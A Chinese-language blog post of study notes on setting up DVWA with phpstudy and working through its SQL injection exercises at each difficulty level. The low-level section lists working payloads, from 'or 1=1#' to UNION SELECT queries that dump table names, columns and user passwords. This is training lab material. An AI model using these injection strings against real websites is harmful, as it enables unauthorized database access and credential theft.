Fork me on github

【DVWA(一)】 安装使用 & SQL注入学习心得


DVWA 环境搭建和安装简易使用

  1. 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过。在浏览器输入127.0.0.1,测试一下。
  2. 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下。
  3. 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面【其他选项菜单】->【My SQL工具】->【重置密码】。
  4. 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,找到其中的db_password的对应值改为刚设置的。
  5. 浏览器输入127.0.0.1/DVWA,出现登录界面,账户名和密码分别是:admin和password。

DVWA的简介

首先,DVWA有多个模块,涉及网络安全的方方面面,其次,代码等级分为Low,Medium,High,Impossible四个等级,在官方介绍中有提到High难度跟ctf接近。

因为研究生阶段即将开始网安的学习,所以好好研究DVWA成了开学前给自己的重要任务。接下来将针对各个模块进行学习笔记的记录,因为是从头学,所以难免啰嗦。

这篇文章只是针对我在学习研究DVWA过程中学到的知识点,和遇到的困难,有不对的地方还请大神不吝赐教。


 

DVWA - SQL注入

需要注意两部分:第一,右下角有查看源代码的按钮,对于分析四个难度的区别很有帮助;第二,从我目前的知识水平觉得,SQL注入需要实战经验,所以接下来的笔记仅仅是沿着车辙,按图索骥的学习。

【1】low

第一步,

习惯上输入1,可以看到返回对应1的数据库中的内容,而且输出三行,分别是
ID:1
First name:xxx
Surname:xxx
具体内容不管,总之第一行是输入的内容,原封不动显示了,二三行是可以我们直接用来显式显示的内容栏。
 

第二步,

分别输入1 and 1 = 1,和1 and 1 = 2;【这里我之前不理解,现在自己的理解是:这一步,可以看输出内容,进而判断是否存在注入点,因为输出结果都一样,所以源代码一定是没有对输入内容进行判断,所以,应该是存在注入点的】
 

第三步,

分别输入1 'and 1=1#,和1 'and 1=2#;【此时 ‘ 和 # 为第一个1(id)形成了闭合】到这里,根据输出内容,可以断定,存在注入点了。
 

第四步,

1 'or 1=1 #,可以爆出所有内容,也就是有五个用户,这一步我是为了验证前几步的观点,下面就是暴库,搞到密码。
 

第五步,

暴库:关于这一步,其实有很多知识点,我还没怎么入门,留着一个专门的坑整理这部分,已下是测试过常用的部分
  • 1' union select 1,database()# 爆出数据库名称:dvwa
  • 1 'UNION ALL SELECT version(),1# 爆出运行的mysql版本
  • 1 'UNION ALL SELECT table_name,2 FROM information_schema.tables# 爆出所有表名(此时是所有库里的)
  • 1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'# 爆出所有表名(dvwa库里的)
  • 1' union select 1,column_name from information_schema.columns where table_name='users'# 根据爆出的表,去查找所有列
  • 1' union select user,password from users# 根据所有的列名,查找需要的对应的内容(这里我把那两个显式的输出分别输出user,password)

总结:到这里low等级注入攻击结束,已经得到需要的全部密码了,先用单引号和and测试是否有注入点,然后暴库,根据库暴表,根据表暴列,根据列找到所需的所有内容。

【2】medium

第一步,分析,medium级别是一个下拉列表,当改变输入时,网址http://127.0.0.1/dvwa/vulnerabilities/sqli/#,可见多了#,但是无论怎么改网址都不变,所以应该不是get型,而是post型。

第二步,用hackbar测试一下(这里留一个关于hackbar安装的坑,已补坑 https://www.cnblogs.com/wayne-tao/p/11022640.html),在post中输入 id=3&Submit=Submit,运行发现,输出正确,post型注入可行!

第三步,这时候就已经跟low等级一样了,在id=之后输入注入查询代码即可,注意此时 ‘ 和 # 提示错误,推测是源代码进行了处理,所以去掉继续尝试,可行!到这里medium就解决了

总结:难度主要体现在下拉列表上和输入检查上,可以通过工具避开,其他原理跟low一样,除了hackbar还有burp suite也可以实现,这里留着之后专门再研究这两个工具,留坑,

补坑【Hackbar的相关用法】

【3】high

high等级很奇怪,我发现方法跟low完全一样,唯一的问题是,change id需要从新的窗口输入,输入内容上跟low完全一样。暂时还没明白跟low等级的区别。留坑对四个等级源代码进行对比分析

【4】impossible

impossible等级用的pdo,目前貌似是没法注入

目前找到的方案是关于PDO的,Are PDO safe?但是现在我还看不懂。。。新坑

 


 推荐两篇博客,我感觉写的非常好!作为引入门和工具小全查看都可以

【总结】MYSQL注入 - Carrypan - 博客园

史上最完整的MySQL注入 - i春秋学院 - 博客园

以上,是学习SQL注入攻击的全部笔记,会伴随以后的学习持续更新。

posted @ 2019-06-13 12:40  未配妥剑,已入江湖  阅读(2287)  评论(0编辑  收藏  举报